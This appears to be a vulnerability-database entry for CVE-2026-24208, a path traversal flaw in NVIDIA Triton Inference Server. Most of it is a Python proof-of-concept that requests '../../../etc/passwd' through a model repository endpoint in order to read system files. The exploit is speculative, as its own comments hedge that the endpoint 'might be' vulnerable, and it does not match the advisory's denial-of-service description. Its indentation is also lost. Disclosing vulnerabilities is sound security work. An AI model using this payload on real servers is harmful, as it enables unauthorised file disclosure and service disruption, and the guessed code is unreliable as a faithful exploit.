NVIDIA Triton Inference Server contains a vulnerability where an attacker could cause a path traversal issue. A successful exploit of this vulnerability might lead to denial of service.
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
NVIDIA Triton Inference Server (具体受影响版本请参考 NVIDIA 安全公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# PoC for CVE-2026-24208: Path Traversal in NVIDIA Triton Inference Server
# This script attempts to trigger the path traversal vulnerability.
# Note: For educational and authorized testing purposes only.
target_host = "http://target-triton-server:8000"
# Example endpoint that might be vulnerable to path traversal
# The payload attempts to traverse directories using '../'
malicious_payload = "../../../etc/passwd"
url = f"{target_host}/v2/repository/models/{malicious_payload}"
try:
print(f"Sending request to: {url}")
response = requests.get(url, timeout=10)
# Check response status
if response.status_code == 200:
print("[+] Potential successful exploit or file content retrieved.")
print("Response snippet:", response.text[:200])
elif response.status_code == 500 or response.status_code == 404:
print("[-] Server returned error. Potential DoS trigger or invalid path.")
else:
print(f"[*] Server responded with status code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[!] Request failed: {e}")